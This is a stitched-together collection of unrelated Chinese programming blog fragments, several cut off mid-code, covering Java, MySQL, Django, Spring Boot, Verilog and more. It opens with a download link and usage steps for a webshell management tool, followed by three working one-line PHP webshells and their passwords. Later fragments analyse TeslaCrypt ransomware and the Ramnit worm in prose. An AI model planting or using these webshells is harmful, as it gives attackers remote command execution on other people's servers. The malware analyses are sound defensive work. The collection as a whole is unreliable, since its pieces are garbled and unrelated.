2011,2014,2016版下载
百度网盘:
https://pan.baidu.com/s/1Jn2QxXkKHbml3B7CCYlQww
提取码:hj12
第一步:首页空白处右键,点击添加
第二步:复制网站shell地址后粘贴此处,并填写webshell密码
第三步:(数据库的选择与)配置
第四步:选择添加的站点右键,选择自己所需的模式
相关一句马
<?php eval($_REQUEST['key']);?> <?php system($_REQUEST['ab12']);?>
<?php eval($_POST[123]);?>
webshell分别为:key,ab12,123
Downloader模块管理网络文件下载任务,用于从服务器下载各种文件,并支持跨域访问操作。通过plus.downloader获取下载管理对象。Downloader下载使用HTTP的GET/POST方式请求下载文件,符合标准HTTP/HTTPS传输协议。
方法: createDownload: 新建下载任务enumerate: 枚举下载任务clear: 清除下载任务startAll: 开始所有下载任务 对象: Download: Download对象管理一个下载任务DownloadEvent: 下载任务事件类型DownloadState: 下载任务状态DownloadOptions: 下载任务参数 回调方法: DownloadCompletedCallback: 下载任务完成时的回调DownloadStateChangedCallback: 下载任务状态变化回调DownloadEnumerateCallback: 枚举下载任务回调 权限: 5+功能模块(permissions)
<span style="background-color:#333333"><span style="color:#474747"><code> <span style="color:#ffffff">{</span> <span style="color:#87ceeb">// ...</span> <span style="color:#ffa0a0">"permissions"</span><span style="color:#ffffff">:{</span> <span style="color:#87ceeb">// ...</span> <span style="color:#ffa0a0">"Downloader"</span><span style="color:#ffffff">:</span> <span style="color:#ffffff">{</span> <span style="color:#ffa0a0">"description"</span><span style="color:#ffffff">:</span> <span style="color:#ffa0a0">"文件下载,管理文件下载任务"</span> <span style="color:#ffffff">}</span> <span style="color:#ffffff">}</span> <span style="color:#ffffff">}</span> </code></span></span> createDownload 新建下载任务
<span style="background-color:#333333"><span style="color:#474747"><code> <span style="color:#98fb98">Download</span><span style="color:#ffffff"> plus</span><span style="color:#ffffff">.</span><span style="color:#ffffff">downloader</span><span style="color:#ffffff">.</span><span style="color:#ffffff">createDownload</span><span style="color:#ffffff">(</span><span style="color:#ffffff">url</span><span style="color:#ffffff">,</span><span style="color:#ffffff"> options</span><span style="
欢迎关注“软件开发理论”公众号获取干货
Day8 鼠标控制与32位模式切换
对HariMain中的数据进行修改
enable_mouse(); mouse_phase = 0; /* 进入到等待鼠标的0xfa的状态 */ for (;;) { io_cli(); if (fifo8_status(&keyfifo) + fifo8_status(&mousefifo) == 0) { io_stihlt(); } else { if (fifo8_status(&keyfifo) != 0) { i = fifo8_get(&keyfifo); io_sti(); sprintf(s, "%02X", i); boxfill8(binfo->vram, binfo->scrnx, COL8_008484, 0, 16, 15, 31); putfonts8_asc(binfo->vram, binfo->scrnx, 0, 16, COL8_FFFFFF, s); } else if (fifo8_status(&mousefifo) != 0) { i = fifo8_get(&mousefifo); io_sti(); if (mouse_phase == 0) { /* 等待鼠标0xfa的状态*/ if (i == 0xfa) { mouse_phase = 1; } } else if (mouse_phase == 1) { /*等待鼠标第一字节*/ mouse_dbuf[0] = i; mouse_phase = 2; } else if (mouse_phase == 2) { /*等待鼠标第二字节*/ mouse_dbuf[1] = i; mouse_phase = 3; } else if (mouse_phase == 3) { /*等待鼠标0xfa第三字节*/ mouse_dbuf[2] = i; mouse_phase = 1; /* 鼠标的三个字节都齐了,显示出来 */ sprintf(s, "
欢迎关注“软件开发理论”公众号获取更多干货
当一个对象被当作参数传递到一个方法后,此方法可改变这个对象的属性,并可返回变化后的结果,那么这里到底是值传递还是引用传递?
答:是值传递。Java 编程语言只有值传递参数。当一个对象实例作为一个参数被传递到方法中时,参数的值就是该对象的引用一个副本。指向同一个对象,对象的内容可以在被调用的方法中改变,但对象的引用(不是引用的副本)是永远不会改变的。
Java参数,不管是原始类型还是引用类型,传递的都是副本(有另外一种说法是传值,但是说传副本更好理解吧,传值通常是相对传址而言)。
如果参数类型是原始类型,那么传过来的就是这个参数的一个副本,也就是这个原始参数的值,这个跟之前所谈的传值是一样的。如果在函数中改变了副本的 值不会改变原始的值.
如果参数类型是引用类型,那么传过来的就是这个引用参数的副本,这个副本存放的是参数的地址。如果在函数中没有改变这个副本的地址,而是改变了地址中的 值,那么在函数内的改变会影响到传入的参数。如果在函数中改变了副本的地址,如new一个,那么副本就指向了一个新的地址,此时传入的参数还是指向原来的 地址,所以不会改变参数的值。
package aaa; public class ParamTest { public static void main(String[] args){ /** * Test 1: Methods can't modify numeric parameters */ System.out.println("Testing tripleValue:"); double percent = 10; System.out.println("Before: percent=" + percent); tripleValue(percent); System.out.println("After: percent=" + percent); /** * Test 2: Methods can change the state of parameters */ System.out.println("\nTesting tripleSalary:"); Employee harry = new Employee("Harry", 50000); System.out.println("Before: salary=" + harry.
欢迎关注“软件开发理论”公众号获取更多干货
输入命令:mount /mnt/cdrom 输出错误为: mount: can’t find cdrom in /etc /fstab or /etc/mtab
通过错误信息可知在/etc/fstab找不到要挂载的文件
解决方式:
方法一:.输入命令:mount -t iso9660 /dev/cdrom /mnt/cdrom 其中/dev/cdrom为软连接指向的是hdc即是镜像文件的挂载盘
这时候在输入命令:ls -l /mnt/cdrom 敲击enter键显示的是你要挂载的iso文件里德所有文件,到此成功挂载镜像
方法二:修改/etc/fstab文件
首先编辑文件fstab命令:vi /etc/fstab 在文件里追加一行内容:/dev/cdrom /mnt/cdrom iso9660 defaluts 0 0
然后建立/mnt/cdrom文件夹,命令:mkdir /mnt/cdrom在执行命令:mount /mnt/cdrom
这时候在输入命令:ls -l /mnt/cdrom 敲击enter键显示的是你要挂载的iso文件里德所有文件,到此成功挂载镜像
在前端代码中总会遇到一些Object对象,打印时是这样的
console.log("this.levelList:"+this.levelList); 如果想具体看里面的所有值,可以这样
for (const key in this.levelList) { if (Object.hasOwnProperty.call(this.levelList, key)) { const element = this.levelList[key]; console.log(element); } } 想要看的数据都在里面
GitHub项目链接点这里(求一个star⭐)
Unity_滑动面板(滚动面板)+ UI动画 效果介绍基础功能扩展功能 关键字使用示例 效果 扩展效果1 扩展效果2 扩展效果3 基础效果1 基础效果2 介绍 基础功能 滑动方向设置:
滑动效果继承自ScrollRect,支持单一轴向(Horizontal\Vertical)或双轴向(Free)的滑动。
子对象初始化设置 :
子对象初始化分静态(Static)和动态(Dynamic)两类,静态初始化使用ScrollRect.Content的子物体作为子对象;动态初始化需要设置子对象预制体(ItemPrefab)和子对象数量(ItemCount),会克隆出(ItemCount-1)个子对象进行初始化。
子对象布局设置 :
是否对子对象进行布局设置由(ItemAutoLayout)控制,子对象布局设置分为自适应(Fit)和自定义(Custom)两类。自适应时子对象大小与滑动面板相同;自定义时以像素为单位,可以自定义设置子对象面板大小(ItemSize)和间距(ItemSpacing)。
滑动子对象居中对齐:
可以自定义子对象索引值(StartingIndex)设置初始状态居中子对象。可以动态修改居中子对象索引值(CenterIndex),用于实现点击子对象自动居中的功能。
首尾子对象循环滑动:
可以自定义是否允许首尾子对象无边界循环的无边界滑动(Infinite)。
绑定监听事件:
提供了以下两个事件,可以通过AddListener()绑定自定义的回调函数。子对象初始化事件(OnItemInit)、子对象居中事件(OnItemCenter)。
扩展功能 子对象滑动效果:
滑动效果只支持两个单一轴向(Horizontal\Vertical)的滑动。滑动效果包含6个基础的Transform属性变换(LocalEularAnglesX\LocalEularAnglesY\LocalEularAnglesZ\LocalScaleX\LocalScaleY\LocalPositionZ)和自定义效果(CustomEffect),基础效果分别为子对象的欧拉角效果、X\Y轴缩放效果、Z轴位置效果。自定义滑动效果遵循基础效果的参数,需要为自定义滑动效果设置监听函数(OnCustomEffect.AddListener(…))。如上面的【自定义效果】图所示,使用了UI的透明度效果,就是通过自定义滑动效果实现的。
滑动效果需要设置滑动效果类型(EffectType)、生效距离区间(EffectSpace)、生效值区间(EffectValue)、效果曲线(EffectValue)。滑动时会根据子对象距离中心的距离得出在滑动曲线上对应的生效值,根据不同的效果类型将生效值赋值给相应的属性,由此形成的不同的滑动效果。自定义滑动效果需要在OnCustomEffect的监听函数中根据生效值做表现效果。
子对象导航效果 :
(暂未实现)自动生成子对象同数量的Toggle子对象,滑动时自动定位对应的Toggle,点击Toggle自动对齐对应的子对象。不适合子对象数量较多的滑动面板。
关键字 Scroll滑动SnapCenter居中对齐滑动Infinite无边界(无限)滑动ScrollEffect滑动效果扩展ScrollNav滑动导航扩展 使用示例 最上面有GitHub地址
目录
一、socket模块通信简述
二、TCP和UDP的大致区别
三、常用参数
四、常用方法
4.1 TCP协议常用方法
4.2 UDP协议常用方法
五、简单程序实例
5.1 TCP协议
5.2 UDP协议
一、socket模块通信简述 本次主要是大致说明socket模块可以使用的两个通信协议TCP和UDP。注意网络通信是多端的,不可能就一个程序来完成,在不同的端程序也会有所不同。我们所说的端一般为服务器端和客户端。服务器端和客户端的程序是不同的。并且我们是要先打开服务器,再打开客户端开始通信。
TCP协议服务器端建立了连接,所以要关闭这个连接。UDP协议服务器什么都没做。也就不需要服务器关闭什么。
当然你要是想关服务器的话,那也可以给服务器给关掉。
1.1 TCP协议程序结构流程图图(以下左边是服务器端,右边是客户端)
1.2 UDP协议程序结构流程图
二、TCP和UDP的大致区别 TCP相对来说复杂一些,TCP协议服务器会创建一个新的连接socker对象来与客户端互相通信。而UDP就不会。所以在后面也可以看出,TCP一旦建立连接后,发送数据就不再需要地址直接send(data)即可,但是UDP通信是没有建立连接,所以发送数据需要服务器的地址,它使用的方法为sendto(data, address)。这就是它们的主要区别。
TCP发送数据前要先建立连接(connect);UDP发送数据前不建立连接,但发送数据是要传入一个参数为服务器的地址(address)
注意:
它发送的数据必须是字节序列对象,类似与我们的图片(jpg文件等)文件。图片其本质上就是一连串字节序列对象,每一个像素点为8位二进制字节序列(灰度图像,彩色图像是3通道,所以每一个像素点为24位二进制字节序列)。上面以及下文所说的地址都是(ip地址, 端口号),是ip地址和端口号组成的二个元素的元组。 三、常用参数 socket.AF_INET:表示使用IPv4地址
socket.SOCK_STREAM:表示使用TCP通信协议,用于创建TCP Socket对象的参数
socket.SOCK_DGRAM:表示使用UDP通信协议,用于创建UDP Socket对象的参数
address参数:是ip地址和端口号的二元组。即:(ip地址,端口号)
四、常用方法 网络通信分为服务器端和客户端。
两个使用的函数(socket类的方法)也有一些不同。
4.1 TCP协议常用方法 TCP协议通信需要服务器监听端口,并阻塞端口,等待客户端连接。
创建TCP Socket对象
<模块名.类名>
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket类对象有很多方法。
以下为:
<类对象.方法>
服务器端一般用:
socket.bind(address):绑定地址和端口
socke.listen(backlog):监听端口,backlog是最大连接数,即该端口最多能连接的客户端数。
socket.accept():使用阻塞方法,等待客户端连接,并返回(coon,address)二元组对象。
其中coon是连接用的socket类对象, address为客户端地址(形式见上)
客户端一般用:
socket.connect(address):连接服务器socket,address是服务器的ip地址和端口号
服务器端和客户端共同使用的方法有:
socket.recv(buffsize):接收TCP Socket数据,该方法返回字节序列对象(我们打的字符串是Unicode编码对象,应先用字符串类的encode()方法,将其变为字节序列编码对象,再发送)。buffsize是一次最大接收字节数。
socket.send(bytes):发送TCP Socket数据,将字节序列对象(数据)发送到远程socket,返回成功发送的字节数。如果发送的数据量很大,需要多次调用该方法发送数据。
socket.sendall(bytes):和send()功能一样,如果发送成功返回None,发送失败则抛出异常。该方法会一次将数据全部发送完。
socket.close():关闭Socket。
4.2 UDP协议常用方法 服务器使用:
事务 理解事务事务操作案例事务的特性事务的隔离级别事务的隔离级别-操作 在MySQL中的事务(Transaction)是由存储引擎实现的,在MySQL中,只有InnoDB存储引擎才支持事务。事务处理可以用来维护数据库的完整性,保证成批的 SQL 语句要么全部执行,要么全部不执行。事务用来管理 DDL、DML、DCL 操作,比如 insert,update,delete 语句,默认是自动提交的。 理解事务 事务相当于一些操作的集合,这些操作要么全都完成,要么全都不完成。
在银行转账时,必须保证转账绝对安全,这时需要事务参与:
update account set money = money - 200 where id = 1; update account set money = money + 200 where id = 2; 一个人给另一个人转账,那么转账人的金额必须减少,被转账人的金额必须增加,两件事是捆绑在一起的。
假如在第一次update之后,出现了意外、异常,没有执行第二次update,这时转账是否会出现异常?
所以事务就是用来保证数据安全的一个重要举措。
事务操作 1、开启事务:Start Transaction
任何一条DML语句(insert、update、delete)执行,标志事务的开启
命令:BEGIN 或 START TRANSACTION
2、提交事务:Commit Transaction
成功的结束,将所有的DML语句操作历史记录和底层硬盘数据来一次同步,如果没有提交,会发现内存的数据发生改变,但硬盘内的数据不变。
命令:COMMIT
3、回滚事务:Rollback Transaction
失败的结束,将所有的DML语句操作历史记录全部清空命令:ROLLBACK 之前的所有SQL操作其实也有事务,只是MySQL自动帮我们完成的,每执行一条SQL时MySQL就帮我们自动提交事务,因此如果想要手动控制事务,则必须关闭MySQL的事务自动提交。
在MySQL中直接用 SET 来改变 MySQL 的自动提交模式:
set autocommit=0 -- 禁止自动提交 set autocommit=1 -- 开启自动提交 案例 create database if not exists mydb12_transcation; use mydb12_transcation; -- 创建账户表 create table account( id int primary key, -- 账户id name varchar(20), -- 账户名 money double -- 金额 ); -- 插入数据 insert into account values(1,'zhangsan',1000); insert into account values(2,'lisi',1000); -- 设置MySQL的事务为手动提交(关闭自动提交) select @@autocommit; set autocommit = 0; -- 模拟账户转账 -- 开启事务 begin; update account set money = money - 200 where name = 'zhangsan'; update account set money = money + 200 where name = 'lisi'; -- 提交事务 commit; -- 如果转账中的任何一条出现问题,则回滚事务 ,这个要和jdbc结合才能使用 rollback; 事务的特性 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lBWWRT3W-1642841655898)(C:/Users/ruisen/AppData/Roaming/Typora/typora-user-images/image-20220122161452268.
实体类直接new对象,是无法克隆出一个同样的类的,只要把新的class改了,就的class也会改变,接下来有两种真正克隆类的办法,基本上可以解决大部分的问题。
1、用反射
Student ss = TransReflection<Student, Student>(stu); private static TOut TransReflection<TIn, TOut>(TIn tIn) { TOut tOut = Activator.CreateInstance<TOut>(); var tInType = tIn.GetType(); foreach (var itemOut in tOut.GetType().GetProperties()) { var itemIn = tInType.GetProperty(itemOut.Name); ; if (itemIn != null) { itemOut.SetValue(tOut, itemIn.GetValue(tIn)); } } return tOut; } 2、用序列化
Student sss = JsonConvert.DeserializeObject<Student>(JsonConvert.SerializeObject(stu));
import pandas as pd #读取表格数据 df_sheet = pd.read_excel("表1.xlsx", sheet_name="Sheet1") df_base = pd.read_excel("表2.xlsx", sheet_name="Sheet1") cve_col = 1 # 遍历表一数据 for row_sheet in range(0, len(df_sheet)): # 遍历表二数据 for row_base in range(len(df_base)): # 当表一与表二的cve_col相等时 if df_sheet.iloc[row_sheet][cve_col] == df_base.iloc[row_base][cve_col]: # 表1中的4、5、6列数据替换为表二的数据 df_sheet.loc[row_sheet] = [df_sheet.loc[row_sheet][0], df_sheet.loc[row_sheet][1], df_sheet.loc[row_sheet][2], df_sheet.loc[row_sheet][3], df_base.iloc[row_base][4], df_base.iloc[row_base][5], df_base.iloc[row_base][6], df_sheet.loc[row_sheet][7]] break # 将数据存档到本地文件 writer = pd.ExcelWriter("result.xlsx") df_sheet.to_excel(writer, index=False, encoding='utf-8', sheet_name='Sheet1') writer.save()
文章目录 样本信息样本行为详细分析反沙箱检测解密数据与自拷贝创建六个线程实现功能线程1线程2六个功能函数线程3线程4线程5线程6 删除自身 样本信息 MD5:72CCC18F3038E19273010D45AC2142CE
样本类型:exe32
分析工具:DIE、OD、IDA
样本行为 该病毒是TeslaCrypt勒索病毒,使用AES加密算法对磁盘中的文件进行了加密,从而进行勒索。
勒索txt及勒索图片为:
详细分析 拿到样本后,老规矩,先拖到DIE中看一下,32位的exe,C/C++写的,无壳。可以直接用IDA和OD开始分析。
WinMain函数:
反沙箱检测 首先进行反沙箱检测,通过检测音频设备是否存在来检测是否是沙箱环境,如果是则直接退出。
解密数据与自拷贝 随后做了一系列的准备工作,其中比较重要的就是解密并释放数据。
然后进行自拷贝,将自身拷贝到Documents目录下,启动新进程并结束当前进程。
解密并释放数据,共释放了五波数据:
自拷贝,将自身拷贝到Documents目录下,然后启动新进程并结束当前进程:
创建六个线程实现功能 随后创建了六个线程来实现不同的功能,其中,创建第二线程之后还有六个功能函数。
线程1 遍历所有进程,结束进程名中代码taskmg、regedi、procex、msconfi、cmd的进程。
线程2 删除卷影。
六个功能函数 获得一些关键目录的路径;
获得PersonalID,并创建注册表键HKEY_CURRENT_USER\Software\PersonalID,设置Data的值;
首先创建注册表键HKEY_CURRENT_USER\Software\MSVCC,并设置FIX的值为PersonalID(例:80CEB27630917D2A)。
然后创建注册表键HKEY_CURRENT_USER\Software\80CEB27630917D2A,并设置Data的值(例:1MeAeJBzQq4eFoGSEbnD3wZD7q5vKNuoFF)。
设置开机自启动(HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run) 以及 网络共享(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies下的EnableLinkedConnection设为1);
在Documents目录下创建+recover+file.txt,并写入加密数据;
将勒索信息中的xxxxxxxxxxxxx都替换成PersonalID,存在全局变量chText中;
初始化勒索信息的图片;
线程3 将主机信息发给远程HTTP服务器。
线程4 遍历磁盘,在每个目录中创建勒索文件和图片,如果是感兴趣的文件(.r3d/.ptx/.pef等)则加密。
EnumFiles_401920:
CreateTxtAndPngInDir_410150:
线程5 线程5和线程2完全一样,作用是删除卷影。
线程6 线程6和线程3完全一样,作用是再次发送主机信息到远程HTTP服务器。
删除自身 执行完所有功能后,删除自身文件。
继承 一、继承的概念和定义 继承是面向对象程序设计中使代码可以复用的手段,他是在原有类(也叫父类,基类)的基础上进行扩展增加功能,这样产生的新类叫做派生类,也叫子类。
class Person { public: void print() { std::cout << name << std::endl; std::cout << _age << std::endl; } protected: std::string name = "小明"; int _age = 18; }; class Student : public Person { protected: int stu_id = 111; }; int main() { Student st; st.print(); return 0; } 继承后父类的Person的成员都会变成子类的一部分,这里体现出了Student复用了Person的成员,调用print可以看到成员函数的复用。
定义 class 子类 :继承方式 父类
继承方式有三种:public;protected;private。
总结 父类private成员在派生类中无论采用哪种继承方式,都是不可见的。这里的不可见是指基类的私有成员还是被继承到了派生类对象中,但是语法上限制派生类对象不管在类里面还是类外面都不能去访问它。基类private成员在派生类中是不能被访问,如果基类成员不想在类外直接被访问,但需要在派生类中能访问,就定义为protected。可以看出保护成员限定符是因继承才出现的。除了父类的私有成员在子类中都是不可见的,父类的其他成员在子类中的访问方式:成员在父类的访问限定符和继承方式中的较小的一个。 public > protected > private。 二、父类和子类的对象赋值转换 子类对象可以赋值给 **父类的对象 / 基类的指针 / 基类的引用。**这里有个形象的说法叫切片或者切割。寓意把子类类中父类那部分切来赋值过去。父类对象不能赋值给子类对象。父类的指针可以通过强制类型转换赋值给子类的指针。但是必须是父类的指针是指向子类对象时才是安全的。 class Person { protected: string name = "
1.右击喇叭,选择播放设备
2.右击空白区域,选择显示禁用的设备
3.启用(此时如果耳机没有声音,可以禁用系统喇叭)
首先确保你有一个可以用于连接的数据库。这里是用本地的数据库演示。
先去项目的settings.py文件里面找到databases将其注释掉(默认是的sqlite3)。
DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', 'NAME': 'autodb', 'USER': 'root', 'PASSWORD': '123456', 'HOST': '127.0.0.1', 'PORT': '3306', } } 然后注册一下,进行数据库操作千万记得注册 ,不然可能遇到No changes detected问题
安装一下pymysql: pip install pymysql
在主项目的__init__.py下引入:
import pymysql pymysql.install_as_MySQLdb() 不导入可能出现:django.core.exceptions.ImproperlyConfigured: Error loading MySQLdb module.问题
最后在modules.py里面写如下代码,创建表
在命令行输入:
python manage.py makemigrations
python manage.py migrate
安装都ok后,去可以数据库查看userinfo表已经创建成功:
———————————————————————————————————————————
数据增删改查操作: 增加: 在views.py中添加一个orm方法,并在urls里面注册一下
运行一下,去数据库中查看。
修改: 将id=1的密码改为456.
删除: 删除id=1的那条数据。
也可以使用all删除所有,userInfo.objects.all().delete() 查询: 完整代码如下:
def orm(request): # userInfo.objects.create(name="lufei", pswd="123") # userInfo.objects.filter(id=1).update(pswd="456") # userInfo.objects.filter(id=1).delete() # userInfo.
HashMap的遍历方式及优缺点 Map.Entry的定义
Map的entrySet()方法返回一个实现Map.Entry接口的对象集合。集合中每个对象都是底层Map中一个特定的键/值对。通过这个集合的迭代器,获得每一个条目(唯一获取方式)的键或值并对值进行更改。Map.Entry中的常用方法如下所示:
(1) Object getKey(): 返回条目的关键字 (2) Object getValue(): 返回条目的值 (3) Object setValue(Object value): 将相关映像中的值改为value,并且返回旧值 Map.Entry的作用
Map.Entry是为了更方便的输出map键值对。一般情况下,要输出Map中的key 和 value 是先得到key的集合keySet(),然后再迭代(循环)由每个key得到每个value。values()方法是获取集合中的所有值,不包含键,没有对应关系。而Entry可以一次性获得这两个值。
常用的遍历Map的方法
package com.example.demo; import org.junit.Test; import java.util.*; import java.util.jar.JarOutputStream; import java.util.stream.Collectors; /** * @author Jia * @date 2022/1/18 10:15 */ public class HashTest { //1、第一种方式:(效率比较高:只遍历了一次,把key和value都放在了entry中) @Test public void test1(){ HashMap<String,Object> map = new HashMap<>(); map.put("一","测试1"); map.put("二","测试2"); map.put("三","测试3"); map.put("四","测试4"); map.put("三","测试重复key"); map.put("",""); //1.使用迭代器遍历 ,效率最高 Iterator<Map.Entry<String, Object>> iterator = map.entrySet().iterator(); while(iterator.hasNext()) { Map.
01、学习内容 1、Spring-Boot 加载Bean的几种方式
2、自定义starter,顺便理解springboot加载原理和机制
02、探索springboot的加载bean几种方式 springboot启动类上的注解是一个复合注解:
@SpringBootConfiguration 配置类 + @Bean配置类作用:方便扩展、方便集成,不受包约束。 @EnableAutoConfiguration springboot内部的starter加载的原理 内部其实:配置+@Bean @ComponentScan (主要是用加载当前项目自身开发的bean) 扫包 + @Service、@Controller、@Component 三者的作用都是一致的:把相关的bean加载ioc容器中。
03、@Enablexxx开关类 01、分析 未来在程序中我们会大量的看到@Enablexxx开关注解。这个注解本身没有加载bean到ioc容器作用,只是起到一个标记作用,真正把相关配置类加载到ioc容器的机制是:@Import。
@Import 才是开关类中,指定的类,而这个指定类要么是:
配置类 (被@Configuration标记的类)实现ImportSelector接口的类。 02、格式 @Enablexxxx + @Import(配置类 || 实现ImportSelector接口的类。) 03、import机制的作用 如果你要去加载一个外部的配置类,你可以使用@Import机制。
springboot的starter的中一系列的配置类+@Bean是怎么加载进去:就是通过@Import机制
什么是外部的配置类? 当前默认包(启动类包)以外的配置类,都属于:外部配置类。
当前项目启动类包以外自定义starter的配置类springboot自身提供的starter配置类 04、@Import + @Configuration配置类 具体实现如下:
加载的bean package com.selector.service; public class UserService { public void sayHello(){ System.out.println("say hello !!!"); } } 开关注解 package com.selector.anno; import com.config.UserServiceConfiguration; import com.selector.UserServiceImportSelector; import org.springframework.context.annotation.Import; import java.lang.annotation.*; @Target(ElementType.TYPE) @Retention(RetentionPolicy.
写在前面 最近做渗透测试过程中,在通过HTML源代码中的js找接口的时候发现可以通过浏览器调试功能的源代码处能够直接看到前端Vue具体的代码。
然后再网上查了查,找到一个工具(restore-source-tree)可以直接通过SourceMap 将前端代码还原到本地。
0x01 安装 restore-source-tree git clone https://github.com/laysent/restore-source-tree.git cd restore-source-tree npm i -g restore-source-tree 0x02 还原代码 找个能访问的页面按Ctrl+U 查看源代码,再随便打开一个js找到映射文件。
通常我们要找到的SourceMap 映射文件都在这些文件的最下面有个注释的地方。
sourceMappingURL=chunk-vendors.6b92c4bd.js.map 把这 chunk-vendors.6b92c4bd.js.map 拼接到当前url目录就能把这个sourcemap 文件下载下来了
使用 restore-source-tree 开始还原代码
restore-source-tree chunk-vendors.6b92c4bd.js.map chunk-vendors.6b92c4bd.js.map 就是我们刚才拼接的文件 # -o 参数是输出目录,默认为当前目录output文件夹 最终生成的文件会存放在output目录
Reference https://gh0st.cn/archives/2020-01-08/2
https://laysent.com/til/2019-05-03_restore-source-map
文章目录 样本信息样本行为详细分析脱壳样本主体行为获得默认浏览器路径创建互斥体自拷贝InlineHook创建傀儡进程,注入病毒DLLUnInlineHook 病毒DLL行为线程1线程2线程3线程4线程5开始感染 最终总结 样本信息 MD5:ff5e1f27193ce51eec318714ef038bef
类型:exe32
分析工具:DIE、OD、IDA
样本行为 该样本属于Ramnit蠕虫病毒,样本主体会创建傀儡进程(默认浏览器进程)并向其注入病毒DLL,病毒DLL会创建几个线程分别执行功能,包括实现自启动、查询网络连通情况、记录系统时间、向C2(fget-career.com)发送收集到的用户数据、感染磁盘上的exe,dll,html,htm文件、感染可移动磁盘以试图感染更多主机等,感染性极强。
详细分析 拿到样本之后,先拖到DIE中看一下,发现有UPX壳。
脱壳 用UPX直接脱壳:
脱壳成功后,用IDA打开,发现入口处是无意义的函数调用:
这肯定不是真正的入口,在OD中跟踪一下,发现它中途有通过VirtualAlloc申请内存,是个突破点!
在数据窗口中跟随此处申请到的内存(通过硬件断点),发现在此处填充数据后,随后就去执行了。
retn返回之后就到了002C2CA9,之后是一堆jmp混淆。
疯狂F8,中间经过了很多循环(应该是解密),最后跳到了正常的代码段(40开头)。
一看是pushad,盲猜又是个壳,用ESP定律脱壳,就到了真正的入口:
真是不容易啊,一层又一层!!!
样本主体行为 入口处主要有六个行为:
获得默认浏览器路径 查询注册表HKEY_CLASSES_ROOT\http\shell\open\command,获得默认浏览器的路径,如果没有,则用IE浏览器。
创建互斥体 创建互斥体,名称为KyUffTh0kYwRRtgPP,这一步用来确保只有一个病毒实例存在。
自拷贝 判断当前进程名,如果不是DesktopLayer.exe,则拷贝自身到C:\Program Files\Microsoft\DesktopLayer.exe,结束当前进程,启动新进程。
InlineHook 对ZwWriteVirtualMemory函数进行InlineHook,Hook之前要挂起当前进程中的其他线程,Hook完之后恢复。
挂起和恢复线程,用的是同一套代码(通过CreateToolhelp32Snapshot、Thread32First、Thread32Next遍历线程):
具体Hook过程如下:
首先通过GetProcAddress获得OriginalAddress;然后通过VirtualProtect修改OriginalAddress的页面属性为PAGE_EXECUTE_READWRITE;然后通过VirtualAlloc申请一块可提交内存(大小为5+10),用于存放数据;保存OriginalAddress的前五字节,然后把它改成jmp FakeFunc;修改完成后,通过VirtualProtect恢复页面属性;
Hook前后ZwWriteVirtualMemory函数的入口分别为:
创建傀儡进程,注入病毒DLL 创建傀儡进程,即上面获得的默认浏览器进程。
CreateProcessA内部会调用ZwWriteVirtualMemory,因此会进入自定义的钩子函数(00402A59)。
调用堆栈为:
钩子函数行为:
调用原函数;获得浏览器进程的EP;
将DLL及三个函数注入浏览器进程;
首先在浏览器进程中申请内存,然后展开DLL并将其写入浏览器进程,随后写入三个函数。
展开DLL的过程:
修改浏览器进程的EP,使其调用之前写入的第三个函数。
这样,当浏览器进程恢复运行时,会进入Func3函数,它会先调用Fun1初始化DLL的IAT表,然后遍历DLL的节区依次设置节区属性,最后跳到了DLL的EP:
Func1主要是遍历DLL的导入表,依次加载DLL并初始化IAT表:
至此,傀儡进程创建完成。 UnInlineHook 恢复ZwWriteVirtualMemory函数,之前Hook时提前保存了被换掉的那五字节。
到这里,样本主体行为就分析完了,接下来看一下病毒DLL的行为。
病毒DLL行为 在上面分析样本主体时过程中,将病毒DLL dump下来。
DllEntryPoint中创建了五个线程来实现不同的功能,随后开始感染磁盘上的exe、dll、html、htm文件以及可移动磁盘。
线程1 设置注册表项HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon下的Userinit,以实现开机自启动。并且每隔一段时间就会设置一次。
线程2 尝试连接google.com、bing.com、yahoo.com,以测试网络的连通性。
具体是通过套接字来测试的:
线程3 创建dmlconf.dat文件,写入当前系统时间。
线程4 连接fget-career.com,并向其发送收集到的用户数据。
首先通过套接字绑定并监听4678端口:
然后创建线程来连接fget-career.com并收发数据。
除了逻辑值外,net类型的变量还可以定义强度,因而可以更精确的建模。net的强度来自于动态net驱动器的强度。在开关级仿真时,当net由多个驱动器驱动且其值互相矛盾时,可常用强度的概念来描述这种逻辑行为。
(strength0, strength1)
(strength1, strength0)
(strength0)------------pulldown primitives only
(strength1)------------pullup primitives only
(chargestrength)------trireg nets only
strength0 = {supply0/strong0/pull0/weak0/highz0}强度由左至右依次减弱
strength1 = {supply1/strong1/pull1/weak1/highz1}强度由左至右依次减弱
chargestrength = {large/medium/small}
用法:
1.关键词strength0和strength1用于定义net的驱动强度。其中,strength表示强度,与紧跟着的0和1连起来分别表示输出逻辑值为0和1时的强度。
2.在强度声明中可选择不同的强度关键词来代替strength,但(highz0, highz1)和(highz1, highz0)这两种强度定义是不允许的,在pullup和pulldown门的强度声明中highz0和highz1是不允许的。
3.默认的强度定义为strength0和strength1,但是有下列例外:
对于pullup和pulldown门,默认的强度为pull1和pull0;
对于trireg的net,默认的强度为medium。
强度定义为supply0和supply1的net,总是能够提供强度。
4.在仿真期间,net的强度来自于net上的主驱动强度(即具有最大强度值得实例或连续赋值语句)。如果net未被驱动,它会呈现高阻值,但是以下情况例外:
tri0和tri1类型的net分别具有逻辑值0和1,并为pull强度;
trireg类型的net保持它们最后的驱动值。
强度为supply0和supply1的nets分别具有逻辑值0和1,并能提供驱动能力。
5.强度值有强弱顺序,可从supply(最强)依次减弱并排列到highz(最弱)。当需要确定net的实际逻辑值和强度时,或者当net由多个驱动器驱动而且驱动相互间出现冲突时,出现冲突的两个强度值在强弱顺序表中的相对位置就会对该net的真实逻辑值起作用。
6.强度时不可综合的。
7.可以在$display和$monitor等中用特定的格式控制符%V显示其强度值。
例子:
assign (weak1, weak0) f = a + b; trireg (large) c1,c2; and (strong1, weak0) u1(x, y, z);